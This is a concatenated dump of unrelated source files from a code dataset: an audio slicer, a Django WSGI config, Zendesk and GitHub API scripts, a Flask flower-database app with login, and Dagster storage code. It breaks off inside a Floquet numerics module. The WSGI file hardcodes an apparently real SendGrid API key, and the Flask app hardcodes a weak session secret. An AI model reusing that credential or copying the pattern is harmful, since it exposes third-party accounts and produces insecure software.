-*- coding: UTF-8 -*-\n# ---------------------------------------------------------------------------\n# ___ __ __ __ ___\n# / | \\ | \\ | \\ / Automatic\n# \\__ |__/ |__/ |___| \\__ Annotation\n# \\ | | | | \\ of\n# ___/ | | | | ___/ Speech\n# =============================\n#\n# http://sldr.org/sldr000800/preview/\n#\n# ---------------------------------------------------------------------------\n# developed at:\n#\n# Laboratoire Parole et Langage\n#\n# Copyright (C) 2011-2015 Brigitte Bigi\n#\n# Use of this software is governed by the GPL, v3\n# This banner notice must not be removed\n# ---------------------------------------------------------------------------\n#\n# SPPAS is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# SPPAS is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with SPPAS. If not, see .\n#\n# ---------------------------------------------------------------------------\n# File: wavslicer.py\n# ----------------------------------------------------------------------------\n\n__docformat__ = \"\"\"epytext\"\"\"\n__authors__ = \"\"\"Tatsuya Watanabe, Brigitte Bigi\"\"\"\n__copyright__ = \"\"\"Copyright (C) 2011-2015 Brigitte Bigi\"\"\"\n\n# ----------------------------------------------------------------------------\n\nimport os\nimport signals\nfrom annotationdata.utils.trsutils import TrsUtils\nimport annotationdata.io\n\n# ----------------------------------------------------------------------------\n\nclass AudioSlicer(object):\n \"\"\"\n @authors: Tatsuya Watanabe, Brigitte Bigi\n @contact: brigitte.bigi@gmail.com\n @license: GPL\n @summary: This class implements the slicer of an audio file and its transcription.\n\n \"\"\"\n\n def __init__(self):\n pass\n\n\n def run(self, audiofile, trsfile, output_dir, output_ext=\"TextGrid\"):\n \"\"\"\n Split an audio file into multiple small audio file.\n\n @param audiofile is the audio input file name\n @param trsfile is the transcription input file name\n @param output_dir is a directory name to save output tracks (one per unit)\n @param output_ext (default TextGrid)\n\n \"\"\"\n if not os.path.exists(output_dir):\n os.mkdir(output_dir)\n\n audiospeech = signals.open(audiofile)\n\n transcription = annotationdata.io.read(trsfile)\n\n tracks_tier = None\n for tier in transcription:\n if \"name\" in tier.GetName().lower():\n tracks_tier = tier\n\n if tracks_tier is None:\n raise Exception(\"Expected tier not found: a tier name must contain 'name'\")\n\n list_transcription = TrsUtils.Split(transcription, tracks_tier)\n names = [a.GetLabel().GetValue() for a in tracks_tier if not a.GetLabel().IsEmpty()]\n\n trstracks = []\n for trs in list_transcription:\n begin = int(trs.GetBegin() * audiospeech.get_framerate())\n end = int(trs.GetEnd() * audiospeech.get_framerate())\n trstracks.append((begin, end))\n TrsUtils.Shift(trs, trs.GetBegin())\n\n chunks = []\n nframes = audiospeech.get_nframes()\n for from_pos, to_pos in trstracks:\n if nframes < from_pos:\n raise ValueError(\"Position %d not in range(%d)\" % (from_pos, nframes))\n audiospeech.set_pos(from_pos)\n chunks.append(audiospeech.read_frames(to_pos - from_pos))\n\n for name, chunk, trs in zip(names, chunks, list_transcription):\n signals.save(os.path.join(output_dir, name + \".wav\"), chunk)\n annotationdata.io.write(os.path.join(output_dir, name + \".\" + output_ext), trs)\n","sub_path":"sppas/src/presenters/audiotrsslicer.py","file_name":"audiotrsslicer.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"112228268","text":"\"\"\"\nWSGI config for acut project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/\n\"\"\"\n\nimport os,sys\nfrom django.core.wsgi import get_wsgi_application\nos.environ[\"DJANGO_SETTINGS_MODULE\"] = \"acut.settings\"\nos.environ[\"SENDGRID_API_KEY\"] = \"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\"\n#os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"acut.settings\")\npath=os.path.abspath(__file__+'/../..')\nif path not in sys.path:\n sys.path.append(path)\n#os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"acut.settings\")\n\n\napplication = get_wsgi_application()\n","sub_path":"acut/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"88776721","text":"from zdesk import Zendesk\nimport json\nimport time\n\n################################################################\n## NEW CONNECTION CLIENT\n################################################################\n# Manually creating a new connection object\nwith open('creds.txt') as f:\n creds = f.read()\n\ncreds = creds.splitlines()\n\n\nzendesk = Zendesk(creds[1], creds[2], creds[0], True)\n\n\n# If using an API token, you can create connection object using\n# zendesk = Zendesk('https://yourcompany.zendesk.com', 'you@yourcompany.com', 'token', True)\n# True specifies that the token is being used instead of the password\n\n# See the zdeskcfg module for more sophisticated configuration at\n# the command line and via a configuration file.s\n# https://github.com/fprimex/zdeskcfg\n\n################################################################\n## TICKETS\n################################################################\n\n# Create\ndef ticket_info(info):\n new_ticket = {\"tickets\": info}\n return new_ticket\n\ntickets = []\nfor ticket in range(100):\n ticket = {\n\n \"subject\": \"Test Ticket: \" + str(ticket),\n \"comment\": {\n \"body\": \"This is a test ticket!\"\n },\n \"requester\": { \"name\": \"Andy Warner\", \"email\": \"andy.warner@outlook.com\" },\n \"priority\": \"urgent\"\n },\n tickets += ticket\n\nzendesk.tickets_create_many(data=ticket_info(tickets))","sub_path":"zendesk_create_tickets.py","file_name":"zendesk_create_tickets.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"192501475","text":"# 给定一个 n 叉树的根节点 root ,返回 其节点值的 后序遍历 。 \n# \n# n 叉树 在输入中按层序遍历进行序列化表示,每组子节点由空值 null 分隔(请参见示例)。 \n# \n# \n# \n# 示例 1: \n# \n# \n# \n# \n# 输入:root = [1,null,3,2,4,null,5,6]\n# 输出:[5,6,3,2,4,1]\n# \n# \n# 示例 2: \n# \n# \n# \n# \n# 输入:root = [1,null,2,3,4,5,null,null,6,7,null,8,null,9,10,null,null,11,null,12,\n# null,13,null,null,14]\n# 输出:[2,6,14,11,7,3,12,8,4,13,9,10,5,1]\n# \n# \n# \n# \n# 提示: \n# \n# \n# 节点总数在范围 [0, 10⁴] 内 \n# 0 <= Node.val <= 10⁴ \n# n 叉树的高度小于或等于 1000 \n# \n# \n# \n# \n# 进阶:递归法很简单,你可以使用迭代法完成此题吗? \n# Related Topics 栈 树 深度优先搜索 👍 259 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\nclass Solution:\n def postorder(self, root: 'Node') -> List[int]:\n result = []\n def dfs(root):\n nonlocal result\n if not root:\n return\n result.append(root.val)\n for i in root.children[::-1]:\n dfs(i)\n dfs(root)\n return result[::-1]\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"script/[590]N 叉树的后序遍历.py","file_name":"[590]N 叉树的后序遍历.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"631959465","text":"# This script will add 'hacktoberfest-label'\n#!/usr/bin/env python3\n\nimport os\nimport sys\nimport requests\nimport json\n\nLABELS = ['help wanted', 'first-timers-only', 'up-for-grabs']\nAPI_BASE = 'https://api.github.com/'\n\n\nclass GitHubAPIError(Exception):\n pass\n\n\ndef usage():\n print('Usage: {0} user/repo'.format(sys.argv[0]))\n print('\\nThis script will add the \"hacktoberfest\" label to any issue that '\n 'also has one of the following labels applied: {0}'.format(LABELS))\n print('\\nYour GitHub API token with \"public_repo\" permissions must be in '\n 'the \"GITHUB_TOKEN\" environmental variable.')\n sys.exit()\n\n\ndef check_hacktoberfest_label(repo, token):\n url = API_BASE + 'repos/{0}/labels/hacktoberfest'.format(repo)\n headers = {'Accept': 'application/vnd.github.v3+json',\n 'Authorization': 'token {0}'.format(token)}\n r = requests.get(url, headers=headers)\n\n resp = r.json()\n if r.status_code == 404:\n return False\n elif r.status_code == 200 and 'hacktoberfest' in resp['name'].lower():\n return True\n else:\n raise GitHubAPIError(resp)\n\n\ndef create_hacktoberfest_label(repo, token):\n url = API_BASE + 'repos/{0}/labels'.format(repo)\n payload = {'name': 'hacktoberfest', 'color': 'FF635F'}\n headers = {'Accept': 'application/vnd.github.v3+json',\n 'Authorization': 'token {0}'.format(token),\n 'Content-type': 'application/json'}\n r = requests.post(url, headers=headers, data=json.dumps(payload))\n\n resp = r.json()\n if r.status_code != 201:\n raise GitHubAPIError(resp)\n\n\ndef apply_hacktoberfest_label(repo, token):\n issues = get_labeled_issues(repo, token)\n payload = '[\"hacktoberfest\"]'\n headers = {'Accept': 'application/vnd.github.v3+json',\n 'Authorization': 'token {0}'.format(token)}\n\n for i in issues:\n url = API_BASE + 'repos/{0}/issues/{1}/labels'.format(repo, i)\n r = requests.post(url, headers=headers, data=payload)\n\n resp = r.json()\n if r.status_code != 200:\n raise GitHubAPIError(resp)\n\n\ndef get_labeled_issues(repo, token):\n issues = []\n incomplete = True\n url = API_BASE + 'search/issues'\n headers = {'Accept': 'application/vnd.github.v3+json',\n 'Authorization': 'token {0}'.format(token)}\n for label in LABELS:\n while incomplete:\n payload = 'q=is:issue+is:open+repo:{0}+label:\"{1}\"'.format(repo,\n label)\n r = requests.get(url, headers=headers, params=payload)\n\n resp = r.json()\n if r.status_code != 200:\n raise GitHubAPIError(resp)\n\n for i in resp['items']:\n issue_labels = []\n n = 0\n for label in resp['items'][n]['labels']:\n issue_labels.append(label['name'].lower())\n n += 1\n if 'hacktoberfest' not in issue_labels:\n issues.append(i['number'])\n\n if 'next' in r.links:\n url = r.links['next']['url']\n else:\n incomplete = False\n\n return issues\n\n\ndef main(repo, token):\n if not check_hacktoberfest_label(repo, token):\n create_hacktoberfest_label(repo, token)\n apply_hacktoberfest_label(repo, token)\n\n\nif __name__ == \"__main__\":\n token = os.environ['GITHUB_TOKEN']\n if token == '' or len(sys.argv) != 2 or '/' not in sys.argv[1]:\n usage()\n main(sys.argv[1], token)\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313760791","text":"#!python\n\nfrom flask import Flask, render_template, redirect, jsonify, request, session\nimport json\nimport hashlib\nfrom google_images_download import google_images_download\nimport sqlite3\n\ndef queryFlowerList():\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"SELECT COMNAME FROM FLOWERS\")\n ret = c.fetchall()\n conn.close()\n return ret\n\ndef queryFlower(flower):\n print(flower)\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM SIGHTINGS WHERE NAME=? ORDER BY SIGHTED DESC LIMIT 10\", (flower,))\n ret = c.fetchall()\n conn.close()\n return ret\n\n# Note: Python SQLite3 treats each execute as part of a transaction. All queries up to the next commit() are part of a single transaction, and can be rolled back using rollback().\ndef updateFlower(flower, genus, species):\n #print(flower, genus, species)\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"UPDATE FLOWERS SET GENUS=?, SPECIES=? WHERE COMNAME=?\", (genus, species, flower))\n ret = c.fetchall()\n conn.commit()\n conn.close()\n return ret\n\ndef insertSighting(name, person, loc, sighted):\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"INSERT INTO SIGHTINGS VALUES(?,?,?,?)\", (name, person, loc, sighted))\n ret = c.fetchall()\n conn.commit()\n conn.close()\n return ret\n\ndef setupDatabase():\n '''\n Setup the log table, triggers, and indices\n '''\n # Copy the database file, and delete any existing database file if it exists\n import os\n import shutil\n\n if os.path.isfile('flowers.db'):\n os.remove('flowers.db')\n \n shutil.copyfile('database/flowers.db', 'flowers.db')\n\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n\n # Create the log table, user table, logging triggers, and indexes\n c.executescript(\"\"\"CREATE TABLE LOG (EVENT TEXT NOT NULL, TIME datetime default current_timestamp);\n \n CREATE TABLE USERS (USER TEXT NOT NULL, HASH TEXT NOT NULL);\n\n CREATE TRIGGER INSERT_FLOWERS AFTER INSERT ON FLOWERS\n BEGIN\n INSERT INTO LOG(EVENT) values('Inserting into FLOWERS values: ' || NEW.GENUS || ', ' || NEW.SPECIES || ', ' || NEW.COMNAME);\n END;\n \n CREATE TRIGGER INSERT_FEATURES AFTER INSERT ON FEATURES\n BEGIN\n INSERT INTO LOG(EVENT) values('Inserting into FEATURES values: ' || NEW.LOCATION || ', ' || NEW.CLASS || ', ' || NEW.LATITUDE || ', ' || NEW.LONGITUDE || ', ' || NEW.MAP || ', ' || NEW.ELEV);\n END;\n \n CREATE TRIGGER INSERT_SIGHTINGS AFTER INSERT ON SIGHTINGS\n BEGIN\n INSERT INTO LOG(EVENT) values('Inserting into SIGHTINGS values: ' || NEW.NAME || ', ' || NEW.PERSON || ', ' || NEW.LOCATION || ', ' || NEW.SIGHTED);\n END;\n \n CREATE TRIGGER UPDATE_FLOWERS AFTER UPDATE ON FLOWERS\n BEGIN\n INSERT INTO LOG(EVENT) values('Updating FLOWERS values: ' || OLD.GENUS || ', ' || OLD.SPECIES || ', ' || OLD.COMNAME || ' to: ' || NEW.GENUS || ', ' || NEW.SPECIES || ', ' || NEW.COMNAME);\n END;\n\n CREATE TRIGGER UPDATE_FEATURES AFTER UPDATE ON FEATURES\n BEGIN\n INSERT INTO LOG(EVENT) values('Updating FEATURES values: ' || OLD.LOCATION || ', ' || OLD.CLASS || ', ' || OLD.LATITUDE || ', ' || OLD.LONGITUDE || ', ' || OLD.MAP || ', ' || OLD.ELEV || ' to: ' || NEW.LOCATION || ', ' || NEW.CLASS || ', ' || NEW.LATITUDE || ', ' || NEW.LONGITUDE || ', ' || NEW.MAP || ', ' || NEW.ELEV);\n END;\n\n CREATE TRIGGER UPDATE_SIGHTINGS AFTER UPDATE ON SIGHTINGS\n BEGIN\n INSERT INTO LOG(EVENT) values('Updating SIGHTINGS values: ' || OLD.NAME || ', ' || OLD.PERSON || ', ' || OLD.LOCATION || ', ' || OLD.SIGHTED || ' to: ' || NEW.NAME || ', ' || NEW.PERSON || ', ' || NEW.LOCATION || ', ' || NEW.SIGHTED);\n END;\n\n CREATE TRIGGER DELETE_FLOWERS AFTER DELETE ON FLOWERS\n BEGIN\n INSERT INTO LOG(EVENT) values('Deleting from FLOWERS values: ' || OLD.GENUS || ', ' || OLD.SPECIES || ', ' || OLD.COMNAME);\n END;\n \n CREATE TRIGGER DELETE_FEATURES AFTER DELETE ON FEATURES\n BEGIN\n INSERT INTO LOG(EVENT) values('Deleting from FEATURES values: ' || OLD.LOCATION || ', ' || OLD.CLASS || ', ' || OLD.LATITUDE || ', ' || OLD.LONGITUDE || ', ' || OLD.MAP || ', ' || OLD.ELEV);\n END;\n \n CREATE TRIGGER DELETE_SIGHTINGS AFTER DELETE ON SIGHTINGS\n BEGIN\n INSERT INTO LOG(EVENT) values('Deleting from SIGHTINGS values: ' || OLD.NAME || ', ' || OLD.PERSON || ', ' || OLD.LOCATION || ', ' || OLD.SIGHTED);\n END;\n\n CREATE INDEX SIGHTINGS_NAME ON SIGHTINGS(NAME);\n \n CREATE INDEX SIGHTINGS_PERSON ON SIGHTINGS(PERSON);\n \n CREATE INDEX SIGHTINGS_LOCATION ON SIGHTINGS(LOCATION);\n \n CREATE INDEX SIGHTINGS_SIGHTED ON SIGHTINGS(SIGHTED);\n \"\"\")\n conn.commit()\n \n conn.close()\n return\n\n# For the purposes of this assignment, the flowers.db is assumed to be a fresh copy of the flowers database\nsetupDatabase()\napp = Flask(__name__)\napp.secret_key = 'plzjustenditall'\n\n@app.route('/log')\ndef log():\n '''\n Return log\n '''\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM LOG\")\n ret = c.fetchall()\n conn.close()\n return render_template(\"log.html\", content = ret)\n\n@app.route('/')\ndef index():\n '''\n Redirect to index\n '''\n if \"loggedin\" in session:\n return redirect(\"/flowers\")\n return app.send_static_file('login.html')\n\n@app.route('/register')\ndef register():\n '''\n Redirect to register page after checking session\n '''\n if \"loggedin\" in session:\n return redirect(\"/flowers\")\n return app.send_static_file('register.html')\n\n\ndef encrypt_string(hash_string):\n '''\n Helper function to hash to sha256\n '''\n sha_signature = \\\n hashlib.sha256(hash_string.encode()).hexdigest()\n return sha_signature\n\n@app.route('/register', methods=['POST'])\ndef register_new():\n '''\n Password validation and account creation\n '''\n username = request.form['user']\n password = request.form['pass']\n cpassword = request.form['pass-confirm']\n if password != cpassword or len(password) < 3:\n return redirect(\"/register\")\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"INSERT INTO USERS VALUES(?,?)\", (username, encrypt_string(password)))\n ret = c.fetchall()\n conn.commit()\n conn.close()\n\n return app.send_static_file('login.html')\n\n@app.route('/', methods=['POST'])\ndef login():\n '''\n Process login information. Save user in session.\n '''\n username = request.form['user']\n password = request.form['pass']\n conn = sqlite3.connect('flowers.db')\n c = conn.cursor()\n c.execute(\"SELECT HASH FROM USERS WHERE USER=?\", (username,))\n ret = c.fetchall()\n conn.close()\n if len(ret) < 1:\n return app.send_static_file('login.html')\n\n if ret[0][0] == encrypt_string(password):\n session[\"loggedin\"] = True\n return redirect(\"/flowers\")\n\n return app.send_static_file('login.html')\n\n@app.route('/logout')\ndef logout():\n '''\n Kill session if exists\n '''\n if \"loggedin\" in session:\n session.pop(\"loggedin\", None)\n return redirect(\"/\")\n\n@app.route('/flowers')\ndef flowers():\n '''\n Show all flowers and fetch images from google if necessary\n '''\n import os\n flowers = queryFlowerList()\n flowers = [i[0] for i in flowers]\n # Make sure there are images\n for flower in flowers:\n flower_name = flower + ' flower'\n output_directory = 'static/flower_imgs'\n if flower_name not in os.listdir(output_directory):\n arguments = {\"keywords\":flower_name,\"output_directory\": output_directory, \"no_directory\": True, \"limit\":1,\"print_urls\":True} \n response = google_images_download.googleimagesdownload()\n path = response.download(arguments)\n print(path[flower_name])\n os.rename(path[flower_name][0], output_directory + '/' + flower_name)\n\n \n imgs = ['flower_imgs/' + f + ' flower' for f in flowers]\n hists = zip(imgs, flowers)\n \n return render_template('flowers.html', hists = hists)\n\n@app.route('/flowers', methods=['POST'])\ndef update():\n '''\n Either modify flower or insert new sighting\n '''\n if \"insert-sighting\" in request.form:\n person = request.form['person']\n location = request.form['location']\n sighted = request.form['sighted']\n f = request.form['flower-input']\n try:\n insertSighting(f, person, location, sighted)\n except:\n return json.dumps({'success':False}), 200, {'ContentType':'application/json'} \n return json.dumps({'success':True}), 200, {'ContentType':'application/json'} \n g = request.form['genus']\n s = request.form['species']\n f = request.form['flower-input']\n try:\n updateFlower(f, g, s)\n except:\n return json.dumps({'success':False}), 200, {'ContentType':'application/json'} \n return json.dumps({'success':True}), 200, {'ContentType':'application/json'} \n\n@app.route('/recent', methods=['POST'])\ndef recent():\n '''\n Return recent sightings\n '''\n sightings = queryFlower(request.form['flower'])\n # ignore the name\n sightings = [i[1:] for i in sightings]\n return json.dumps({'success':True, 'sightings':sightings}), 200, {'ContentType':'application/json'} \n\n\napp.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"237607813","text":"from collections import Counter\nimport sys\nfrom itertools import permutations\nimport time\nfrom Chapter_3.load_dictionary import load\n\ndict_file = load('words.txt')\ndict_file = dict_file[:int(len(dict_file)*0.1)]\ndict_file_counters = {\n word.lower(): Counter(word.lower()) for word in dict_file\n}\n\nrobert_dict_file = set(dict_file)\nsolutionsd = set()\n\n\ndef is_word_valid(perm):\n return \"\".join(perm) in robert_dict_file\n\n\ndef my_perm3(current_words, remaining_letters):\n global solutionsd\n remaining_letters_len = sum(remaining_letters.values())\n if remaining_letters_len == 0:\n # print(\"current_words:\", current_words)\n solutionsd.add(tuple(sorted(current_words)))\n # elif remaining_letters_len < 2:\n # return\n for sub_len in range(remaining_letters_len, 1, -1):\n perms = permutations(remaining_letters, sub_len)\n for perm in perms:\n if not is_word_valid(perm):\n continue\n rem = (Counter(remaining_letters) - Counter(perm))\n # print('perm:', perm)\n # print('rem:', rem)\n my_perm3(current_words + [''.join(perm)], rem)\n\n\ndef get_words_from_letters(\n letters_counter,\n current_solution,\n results,\n word_list_counters=dict_file_counters):\n\n for word, word_counter in word_list_counters.items():\n solution_with_word = current_solution + ' ' + word\n for letter in word_counter.keys():\n if word_counter[letter] > letters_counter[letter]:\n break\n else:\n remaining_letters = letters_counter - word_counter\n if remaining_letters == Counter():\n results.append(solution_with_word.strip())\n else:\n get_words_from_letters(remaining_letters, solution_with_word, results)\n return results\n\n\ndef main(user_phrase):\n \"\"\"Help user build anagram phrase from their name.\"\"\"\n\n # user_phrase = input(\"Give a phrase\")\n # user_phrase = 'Mother Father Horse'\n # user_phrase = 'mother'\n user_phrase = ''.join(user_phrase.lower().split())\n print(user_phrase)\n\n results = []\n\n user_phrase_counter = Counter(user_phrase)\n\n words_from_name = get_words_from_letters(user_phrase_counter, '', results)\n\n print(sorted(results))\n\n\nif __name__ == '__main__':\n user_phrase = 'car'\n start_time = time.time()\n main(user_phrase)\n bs_version_time = time.time() - start_time\n\n start_time = time.time()\n my_perm3([], Counter(user_phrase))\n # print(sorted(solutionsd))\n rg_version_time = time.time() - start_time\n print(bs_version_time)\n print(rg_version_time)\n","sub_path":"Chapter_3/my_chapter_3/automatic_anagram_generator.py","file_name":"automatic_anagram_generator.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"222471898","text":"import pygame\n\nlime = (60, 180, 60)\ngreen = (0, 130, 0)\nblue = (30, 30, 160)\nlightblue = (30, 130, 180)\nred = (180, 30, 30)\n\nclass tiles:\n def __init__(self,length,width,height):\n self.length = length\n self.screenWidth = width\n self.screenHeight = height\n self.amountWidth = int(self.screenWidth / self.length)\n self.amountHeight = int(self.screenHeight / self.length)\n self.allTiles = []\n \n def drawBoard(self, screen):\n #calculate amount of turtles in each row / column\n for i in range(self.amountHeight):\n self.allTiles.append([])\n for j in range(self.amountWidth):\n xpos = self.screenWidth - j * self.length\n ypos = self.screenHeight - i * self.length\n if i % 2 == 0:\n if j % 2 == 0:\n self.allTiles[i].append(\"lime\")\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[i].append(\"green\")\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))\n else:\n if j % 2 != 0:\n self.allTiles[i].append(\"lime\")\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[i].append(\"green\")\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))\n\n def changeColour(self, colour, x, y, screen):\n xpos = self.screenWidth - y * self.length\n ypos = self.screenWidth - x * self.length\n if x >= len(self.allTiles) or y >= len(self.allTiles[x]) or x < 0 or y < 0:\n return\n if colour == \"tiles\":\n if x % 2 == 0:\n if y % 2 == 0:\n self.allTiles[x][y] = \"lime\"\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[x][y] = \"green\"\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))\n else:\n if y % 2 != 0:\n self.allTiles[x][y] = \"lime\"\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[x][y] = \"green\"\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))\n elif colour == \"blue\":\n self.allTiles[x][y] = \"blue\"\n pygame.draw.rect(screen, blue, (xpos, ypos, self.length, self.length))\n elif colour == \"lightblue\":\n self.allTiles[x][y] = \"lightblue\"\n pygame.draw.rect(screen, lightblue, (xpos, ypos, self.length, self.length))\n elif colour == \"red\":\n self.allTiles[x][y] = \"red\"\n pygame.draw.rect(screen, red, (xpos, ypos, self.length, self.length))\n\n def returnTiles(self):\n return self.allTiles\n\n def reset(self,screen):\n for i in range(self.amountHeight):\n for j in range(self.amountWidth):\n xpos = self.screenWidth - j * self.length\n ypos = self.screenWidth - i * self.length\n if i % 2 == 0:\n if j % 2 == 0:\n self.allTiles[i][j] = \"lime\"\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[i][j] = \"green\"\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))\n else:\n if j % 2 != 0:\n self.allTiles[i][j] = \"lime\"\n pygame.draw.rect(screen,lime,(xpos, ypos, self.length, self.length))\n else:\n self.allTiles[i][j] = \"green\"\n pygame.draw.rect(screen,green,(xpos, ypos, self.length, self.length))","sub_path":"tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"509163514","text":"from dagster import Field, String\nfrom dagster.core.definitions.system_storage import SystemStorageData, system_storage\n\nfrom .file_manager import LocalFileManager\nfrom .intermediate_store import build_fs_intermediate_store\nfrom .intermediates_manager import (\n InMemoryIntermediatesManager,\n IntermediateStoreIntermediatesManager,\n)\n\n\ndef create_mem_system_storage_data(init_context):\n return SystemStorageData(\n intermediates_manager=InMemoryIntermediatesManager(),\n file_manager=LocalFileManager.for_instance(\n init_context.instance, init_context.pipeline_run.run_id\n ),\n )\n\n\n@system_storage(name='in_memory', is_persistent=False)\ndef mem_system_storage(init_context):\n return create_mem_system_storage_data(init_context)\n\n\n@system_storage(\n name='filesystem', is_persistent=True, config={'base_dir': Field(String, is_optional=True)}\n)\ndef fs_system_storage(init_context):\n override_dir = init_context.system_storage_config.get('base_dir')\n if override_dir:\n file_manager = LocalFileManager(override_dir)\n intermediate_store = build_fs_intermediate_store(\n root_for_run_id=lambda _: override_dir,\n run_id=init_context.pipeline_run.run_id,\n type_storage_plugin_registry=init_context.type_storage_plugin_registry,\n )\n else:\n file_manager = LocalFileManager.for_instance(\n init_context.instance, init_context.pipeline_run.run_id\n )\n intermediate_store = build_fs_intermediate_store(\n init_context.instance.intermediates_directory,\n run_id=init_context.pipeline_run.run_id,\n type_storage_plugin_registry=init_context.type_storage_plugin_registry,\n )\n\n return SystemStorageData(\n file_manager=file_manager,\n intermediates_manager=IntermediateStoreIntermediatesManager(intermediate_store),\n )\n\n\ndefault_system_storage_defs = [mem_system_storage, fs_system_storage]\n'''The default 'in_memory' and 'filesystem' system storage definitions.\n\nFramework authors seeking to add their own system storage definitions can extend this list as follows:\n\n.. code-block:: python\n\n custom_storage_mode = ModeDefinition(\n ...,\n system_storage_defs=default_system_storage_defs + [custom_system_storage_def]\n )\n'''\n","sub_path":"python_modules/dagster/dagster/core/storage/system_storage.py","file_name":"system_storage.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379109712","text":"\"\"\"\nContains all the heavy-lifting numerical apparatus for doing Floquet-theory\ncalculations. This need not be called by the end-user, since everything happens\nbehind the scenes in the `System` class.\n\nThere are largely two categories of functions in this module - ones which are\ninvolved in the creation and diagonalisation of the Floquet matrix, and ones\nwhich take a diagonalised matrix and return objects related to the\ntime-evolution operator. The type `types.Eigensystem` is the link between these\ntwo - this contains all the information necessary to build all the other\nproperties after a diagonalisation, and is cached by the `System` class.\n\"\"\"\n\nimport numba\nimport numpy as np\nimport scipy.sparse.linalg\nimport logging\nfrom . import linalg, types\n\n_log = logging.getLogger(__name__)\n\ndef _first_brillouin_zone(eigenvalues, eigenvectors, n_values, edge):\n \"\"\"\n Return the `n_values` eigenvalues (and corresponding eigenvectors) which\n fall within the first \"Brillioun zone\" whos edge is `edge`. This function\n takes care to select values from only one edge of the zone, and raises a\n `RuntimeError` if it cannot safely do so.\n\n The inputs `eigenvalues` and `edge` must be rounded to the desired\n precision for this function.\n\n Arguments:\n eigenvalues: 1D np.array of float --\n The eigenvalues to choose from. This should be rounded to the desired\n precision (because the floating-point values will be compared directly\n to the edge value).\n\n eigenvectors: 2D np.array of complex --\n The eigenvectors corresponding to the eigenvalues. The first index runs\n over the number of vectors, so `eigenvalues[i]` is the eigenvalue\n corresponding to the eigenvector `eigenvectors[i]`. Note: this is the\n transpose of the return value of `np.linalg.eig` and family.\n\n n_values: int -- The number of eigenvalues to find.\n\n edge: float --\n The edge of the first Brillioun zone. This should be rounded to the\n desired precision.\n\n Returns:\n eigenvalues: 1D np.array of float -- The selected eigenvalues (sorted).\n eigenvectors: 2D np.array of complex --\n The eigenvectors corresponding to the selected eigenvalues. The first\n index corresponds to the index of the `eigenvalues` output.\n \"\"\"\n order = eigenvalues.argsort()\n eigenvalues = eigenvalues[order]\n eigenvectors = eigenvectors[order]\n lower = np.searchsorted(eigenvalues, -edge, side='left')\n upper = np.searchsorted(eigenvalues, edge, side='right')\n n_lower_edge = n_upper_edge = 0\n while eigenvalues[lower + n_lower_edge] == -edge:\n n_lower_edge += 1\n # Additional `-1` because `searchsorted(side='right')` gives us the index\n # after the found element.\n while eigenvalues[upper - n_upper_edge - 1] == edge:\n n_upper_edge += 1\n n_not_on_edge = (upper - n_upper_edge) - (lower + n_lower_edge)\n log_message = \" \".join([\n f\"Needed {n_values} eigenvalues in the first zone.\",\n f\"Found {n_lower_edge}, {n_not_on_edge}, {n_upper_edge} on the\",\n \"lower edge, centre zone, upper edge respectively.\",\n ])\n 